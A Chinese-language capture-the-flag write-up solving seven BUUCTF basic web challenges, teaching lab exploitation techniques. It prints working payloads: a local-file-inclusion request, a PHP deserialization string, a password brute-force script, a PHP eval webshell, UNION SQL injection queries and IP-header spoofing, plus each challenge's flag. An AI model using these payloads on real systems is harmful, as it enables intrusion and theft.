buuctf Basic
字数 1591 2025-08-24 10:10:13
BUUCTF Basic 题目解析与教学文档
1. Linux Labs
题目分析
- 需要远程连接Linux服务器
- 提供SSH登录凭证:用户名root,密码123456
解题步骤
- 使用Xshell或其他SSH客户端连接服务器
- 登录后执行命令:
ls ../ - 查看flag文件:
cat ../flag.txt
关键点
- 掌握基本Linux命令操作
- 理解相对路径和绝对路径的使用
Flag
flag{8fee8783-1ed5-4b67-90eb-a1d603a02080}
2. BUU LFI COURSE 1
题目分析
- 存在文件包含漏洞
- 通过GET参数
file进行文件读取
解题步骤
- 审查网页源代码发现文件包含点
- 构造Payload读取flag文件:
http://[题目URL]/?file=/flag
关键点
- 本地文件包含(LFI)漏洞利用
- 直接读取系统文件
Flag
flag{f2be8efe-aafb-4272-9026-15daa6109822}
3. BUU CODE REVIEW 1
题目分析
- PHP代码审计题目
- 需要满足三个条件:
- GET参数
pleaseget=1 - POST参数
pleasepost=2 - 两个POST参数
md51和md52不同但MD5值相同
- GET参数
- 反序列化漏洞利用
解题步骤
-
构造满足MD5碰撞的条件:
- 方法1:利用数组绕过
md51[]=1&md52[]=2 - 方法2:利用0e开头的MD5值
md51=s1885207154a&md52=s155964671a
- 方法1:利用数组绕过
-
构造反序列化Payload:
<?php class BUU { public $correct = ""; public $input = ""; } $obj = new BUU; $obj->input =& $obj->correct; echo serialize($obj); ?>输出:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;} -
组合Payload发送请求
关键点
- PHP弱类型比较
- MD5碰撞利用
- PHP反序列化漏洞
- 对象属性引用传递
Flag
flag{e8db4533-5be4-4167-823c-99aa37dd11c3}
4. BUU BRUTE 1
题目分析
- 暴力破解题目
- 需要猜测admin账户的4位数字密码
解题方法
-
Python脚本爆破:
import requests url = "http://[题目URL]/?username=admin&password=" for i in range(6400, 7000): res = requests.get(url + str(i)) print("[*] Try:", i) if res.text != "密码错误,为四位数字。": print(res.text) break -
Burp Suite爆破:
- 设置Intruder攻击
- 使用数字payload
- 注意降低线程速度避免被封禁
关键点
- 暴力破解技术
- 数字密码猜测
- 请求频率控制
Flag
flag{410c3a24-9741-48ad-bea2-664880484307}
5. BUU UPLOAD COURSE 1
题目分析
- 文件上传漏洞
- 上传PHP文件被重命名为.jpg但内容仍被执行
解题步骤
- 编写PHP一句话木马:
<?php @eval(system($_POST["x"]));?> - 上传文件
- 访问上传的文件路径
- 使用Hackbar执行命令:
http://[题目URL]/index.php?file=uploads/[文件名].jpg POST: x=ls - 查看flag:
x=cat /flag
关键点
- 文件上传漏洞利用
- 绕过文件类型检查
- 一句话木马使用
Flag
flag{75427571-4ee5-4f7c-b97a-b84ad969ca1f}
6. BUU SQL COURSE 1
题目分析
- SQL注入漏洞
- 注入点在新闻链接的id参数
解题步骤
-
查询表名:
?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#结果:
admin,contents -
查询admin表的列名:
?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#结果:
id,username,password -
查询用户名和密码:
?id=0 union select group_concat(username),group_concat(password) from admin#结果:
admin,5398f18f7e93f8e45f6ea31bc4105a2d
关键点
- Union注入技术
- information_schema数据库利用
- group_concat函数使用
Flag
flag{86ac0951-9f94-4b5e-b19b-07a9a4109c15}
7. BUU BURP COURSE 1
题目分析
- 需要伪造IP地址
- 需要猜测或暴力破解密码
解题步骤
- 添加HTTP头:
X-Real-IP: 127.0.0.1 - 暴力破解密码:
username=admin&password=wwoj2wio2jw93ey43eiuwdjnewkndjlwe
关键点
- HTTP头伪造
- IP欺骗
- 密码暴力破解
Flag
flag{1470d887-a1c6-4109-b401-12ccda3cba8d}
总结
本系列题目涵盖了多种基础Web安全技术:
- 基础Linux操作
- 文件包含漏洞
- PHP代码审计与反序列化
- 暴力破解技术
- 文件上传漏洞
- SQL注入
- HTTP头伪造与IP欺骗
每种技术都有其特定的应用场景和防御方法,在实际安全测试中需要灵活运用。